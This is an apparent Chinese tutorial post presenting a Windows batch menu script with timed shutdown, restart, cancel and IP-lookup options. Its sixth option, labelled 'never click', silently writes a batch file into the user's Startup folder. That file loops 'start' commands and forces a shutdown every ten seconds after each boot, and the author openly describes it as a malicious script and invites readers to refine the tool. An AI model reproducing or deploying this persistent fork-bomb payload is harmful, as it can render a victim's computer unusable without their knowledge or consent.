该篇文章用于懒人——解放双手用,当然可以加入恶意脚本。
运行图
一,原理
echo命令用来输出客户看到的文字,set命令用来做跳转到分区,goto命令结合cls清屏命令来实现用户输入完命令即清屏,保持良好观感。
指令代码
@echo off
color 0a
title 小程序
:menu
cls
echo ===============
echo 菜单
echo 1.定时关机
echo 2.定时重启动
echo 3.取消定时间
echo 4.查看本机器IP地址
echo 5.退出
echo 6.千万不要点
echo ===============
set /p num=请您作出选择
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
if "%num%"=="4" goto 4
if "%num%"=="5" goto 5
if "%num%"=="6" goto 6
echo 谢谢您的选择
pause
goto menu
:1
set /p time=请您选择关机时间:
shutdown -s -f -t %time%
echo 谢谢您的选择
goto menu
:2
set /p time=请您选择重启动时间:
shutdown -r -f -t %time%
echo 谢谢您的选择
pause
goto menu
:3
shutdown -a
echo 谢谢您的选择
pause
goto menu
:4
ipconfig
echo 谢谢您的选择
pause
goto menu
:5
exit
echo 谢谢您的选择
pause
goto menu
:6
echo :a >>"%userprofile%\「开始」菜单\程序\启动\hahaha.bat"
echo start >>"%userprofile%\「开始」菜单\程序\启动\hahaha.bat"
echo goto a >>"%userprofile%\「开始」菜单\程序\启动\hahaha.bat"
echo shutdown -s -f -t 10 >>"%userprofile%\「开始」菜单\程序\启动\hahaha.bat"
echo 谢谢您的选择
goto menu
最后选项6加入了一个恶意脚本只有在重启之后才会执行。利用了分区循环
伙伴们可以在优化,做一个更加方便使用的。